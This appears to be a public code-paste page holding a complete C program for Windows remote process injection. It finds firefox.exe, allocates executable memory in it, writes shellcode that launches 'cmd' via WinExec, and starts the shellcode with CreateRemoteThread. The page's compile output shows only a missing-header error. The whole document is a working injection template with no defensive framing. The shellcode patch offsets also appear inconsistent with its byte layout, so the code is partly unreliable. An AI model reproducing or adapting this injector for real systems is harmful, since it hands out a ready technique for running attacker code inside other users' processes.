fork download
copy 
  1. #include <Windows.h>
  2. #include <TlHelp32.h>
  3. #include <stdio.h>
  4.  
  5. unsigned char shellcode[] = "\x8B\xDC"
  6. "\x68\x63\x6D\x64\x20"
  7. "\x8B\xC4"
  8. "\x6A\x01"
  9. "\x50"
  10. "\xB8\x41\x2C\x9A\x77"
  11. "\xFF\xD0"
  12. "\x8B\xE3"
  13. "\x5A"
  14. "\xB8\x00\x00\x00\x00"
  15. "\xFF\xD0";
  16.  
  17. void PrepareShellcode(void)
  18. {
  19. 	unsigned long KernelAddr;
  20. 	unsigned long WinExecAddr;
  21. 	unsigned long ExitProcessAddr;
  22. 	DWORD oldProtect;
  23.  
  24. 	KernelAddr = (unsigned long)GetModuleHandle(TEXT("Kernel32"));
  25. 	WinExecAddr = (unsigned long)GetProcAddress((HMODULE)KernelAddr, "WinExec");
  26. 	ExitProcessAddr = (unsigned long)GetProcAddress((HMODULE)KernelAddr, "ExitProcess");
  27.  
  28. 	*(DWORD *)(shellcode + 13) = WinExecAddr;
  29. 	*(DWORD *)(shellcode + 23) = ExitProcessAddr;
  30.  
  31. 	VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
  32. }
  33.  
  34. DWORD GetPID(LPTSTR lpProcess)
  35. {
  36. 	PROCESSENTRY32 pe32;
  37. 	HANDLE snapshot = NULL;
  38. 	HANDLE hProcess = NULL;
  39. 	DWORD ProcessID = 0;
  40.  
  41. 	if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) != INVALID_HANDLE_VALUE)
  42. 	{
  43. 		RtlZeroMemory(&pe32, sizeof(PROCESSENTRY32));
  44. 		pe32.dwSize = sizeof(PROCESSENTRY32);
  45. 		Process32First(snapshot, &pe32);
  46. 		do
  47. 		{
  48. 			if (lstrcmp(pe32.szExeFile, lpProcess) == 0)
  49. 			{
  50. 				ProcessID = pe32.th32ProcessID;
  51. 				break;
  52. 			}
  53. 		} while (Process32Next(snapshot, &pe32));
  54. 	}
  55.  
  56. 	CloseHandle(snapshot);
  57. 	return ProcessID;
  58. }
  59.  
  60. void Inject(HANDLE hProcess)
  61. {
  62. 	PVOID	pRemoteShellcode = NULL;
  63. 	HANDLE	hRemoteThread = NULL;
  64. 	DWORD	dwRemoteThreadID = 0;
  65. 	DWORD	dwInjectStatus = 0;
  66.  
  67. 	PrepareShellcode();
  68.  
  69. 	__try
  70. 	{
  71. 		int size = sizeof(shellcode);
  72.  
  73. 		pRemoteShellcode = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  74. 		if (pRemoteShellcode == NULL)
  75. 		{
  76. 			return;
  77. 		}
  78.  
  79. 		WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, size, NULL);
  80.  
  81. 		hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, NULL, 0, &dwRemoteThreadID);
  82. 		if (hRemoteThread == NULL)
  83. 		{
  84. 			printf("CreateRemoteThread failed. Last error: %x\n", GetLastError());
  85. 			__leave;
  86.  
  87. 			WaitForSingleObject(hRemoteThread, INFINITE);
  88. 			GetExitCodeThread(hRemoteThread, &dwInjectStatus);
  89. 		}
  90. 	}
  91. 	__finally
  92. 	{
  93. 		if (!dwInjectStatus)
  94. 		{
  95. 			printf("Injection failed\n");
  96. 			VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
  97.  
  98. 			if (hRemoteThread != NULL)
  99. 			{
  100. 				CloseHandle(hRemoteThread);
  101. 			}
  102. 		}
  103. 	}
  104. }
  105.  
  106. int main()
  107. {
  108. 	DWORD ProcessID;
  109. 	HANDLE hProcess;
  110.  
  111. 	ProcessID = GetPID(TEXT("firefox.exe"));
  112. 	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
  113.  
  114. 	if (hProcess != INVALID_HANDLE_VALUE)
  115. 	{
  116. 		Inject(hProcess);
  117. 		CloseHandle(hProcess);
  118. 	}
  119. 	return 0;
  120. }
Compilation error #stdin compilation error #stdout 0s 0KB
comments (?)
stdin
copy 
Standard input is empty
compilation info 
prog.c:1:21: fatal error: Windows.h: No such file or directory
compilation terminated.
stdout
copy 
Standard output is empty
https://ideone.com/AwswYd
language:
C (gcc 8.3)
created:
7 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!